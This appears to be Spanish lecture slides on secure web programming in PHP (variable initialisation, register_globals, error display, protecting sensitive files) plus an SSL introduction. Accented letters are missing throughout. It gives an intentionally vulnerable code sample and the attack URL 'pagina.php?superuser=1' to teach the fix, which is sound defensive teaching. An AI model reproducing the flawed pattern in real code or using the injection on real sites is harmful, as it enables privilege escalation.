cdigo fuente de la aplicacin. La proteccin pasa
por comprobar todo el cdigo que acepta datos de
entrada para asegurar que chequea su tamao
Programacin segura
Para evitar o al menos disminuir las
vulnerabilidades de una aplicacin web es muy
importante seguir unas correctas prcticas de
programacin. Veamos algunas de las ms
importantes:
Inicializacin de variables
Gestin de errores
Proteccin de informacin

Sea el siguiente cdigo:
if (comprueba_privilegios())
$superuser = true;
Una llamada de la forma
pagina.php?superuser=1
permitira obtener privilegios de superusuario. Este
problema se soluciona dando un valor inicial a la
variable $superuser:
$superuser = false;
if (comprueba_privilegios())
$superuser = true;
En general es recomendable inicializar todas las
variables antes de usarlas
En PHP se puede usar la directiva
error_reporting=E_ALL que hace que se muestre un
mensaje de aviso cuando se use una variable que
no haya sido previamente inicializada
Tambin se puede deshabilitar register_globals en
el fichero php.ini
La directiva register_globals establece si se admite
o no la creacin automtica de variables globales
A partir de PHP 4.2.0 el valor por defecto de esta
directiva es off, que es el valor recomendable
Para acceder a las variables globales se deben
utilizar los arrays globales $_SERVER, $_ENV,
$_REQUEST, $_GET, $_POST, $_COOKIE, $_FILES,
$_SESSION y $_GLOBALS
PHP crea automticamente variables globales a
partir del entorno (E), las cookies (C), la informacin
del servidor (S) y los parmetros GET (G) y POST (P)
La directiva variables_order controla el orden de
estas variables. El valor por defecto es EGPCS
Permitir la creacin de variables globales desde
parmetros GET y POST y desde cookies es
potencialmente peligroso. Un posible valor para
variables_order que evita esto es ES
En tal caso para acceder a los parmetros de los
formularios y a las cookies hay que usar los arrays
globales $_REQUEST, $_GET, $_POST y $_COOKIE
Ejercicio: error en la autentificacin de usuarios
Gestin de errores
Los mensajes de error son una fuente de
informacin muy importante para los atacantes.
Pueden proporcionar informacin sensible que les
permita refinar sus ataques
En un entorno de produccin debe evitarse la
aparicin de mensajes de aviso o error. En PHP se
pueden utilizar las siguientes directivas en php.ini:
display_errors = off
log_errors = on
error_log = /var/log/php_errors.log
Los errores irn al fichero especificado en lugar de
mostrarse en la pantalla
Gestin de errores
Ejercicio: localizacin de pginas con errores
Toda informacin sensible debe almacenarse por
separado del programa que la utiliza y
preferentemente en un directorio situado fuera del
rbol de directorios de la Web para evitar que
pueda ser accedida por su URL
En PHP se puede hacer indicando la ruta completa
de los ficheros en las funciones include() y require()
o mediante la directiva include_path en php.ini:
include_path =
.:/usr/local/php:/usr/local/lib/myapp
De esta forma, aunque se revele el cdigo fuente
de los programas, no se mostrar informacin que
comprometa al sistema
Debe evitarse utilizar en el cdigo comentarios que
den demasiados detalles acerca del funcionamiento
del programa. Puede ser conveniente eliminarlos en
la versin de produccin de la aplicacin
Hay que suprimir las rdenes de depuracin
colocadas en el cdigo durante su desarrollo
Deben protegerse los ficheros que tengan el acceso
restringido. Para ello no basta con suprimir los
enlaces al fichero; alguien podra dar con su
nombre y obtenerlo directamente escribiendo su
URL. La seguridad a travs de la oscuridad no
funciona
Ejercicio: revelacin de informacin en el cdigo
fuente
Contenido
Introduccin
SSL
SSL (Secure Socket Layer) es un protocolo para
asegurar el transporte de datos entre el cliente y el
servidor web. Diseado inicialmente por Netscape,
hoy da es soportado por la mayora de los
servidores web
Podemos reconocer una conexin HTTP sobre SSL
porque aparece el prefijo https en lugar de http
en la URL
SSL
La versin actual de SSL es la 3 y a partir de ella se
est desarrollando un protocolo pblico por parte
del Internet Engineering Task Force (IETF), que se
conoce como TLS (Transport Layer Security) y es
compatible con SSL
SSL
SSL no es un protocolo simple sino que tiene dos
niveles de protocolos
El protocolo Record proporciona servicios de
seguridad bsica a varios protocolos de nivel ms
alto, entre ellos HTTP
SSL
SSL proporciona una comunicacin segura entre
cliente y servidor permitiendo la autentificacin
mutua, el uso de firmas digitales y garantizando
la privacidad mediante encriptacin. Una sesin
SSL se establece segn una secuencia de
operaciones
SSL
SSL
Prctica 5: SSL en Apache
Creacin de un certificado digital
Configuracin de Apache para utilizar el certificado
en una conexin SSL

Seguridad en Las Aplicaciones Web

Cargado por

Información del documento

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

Seguridad en Las Aplicaciones Web

Cargado por

Copyright:

Formatos disponibles

Seguridad en Sistemas Informticos e Internet

También podría gustarte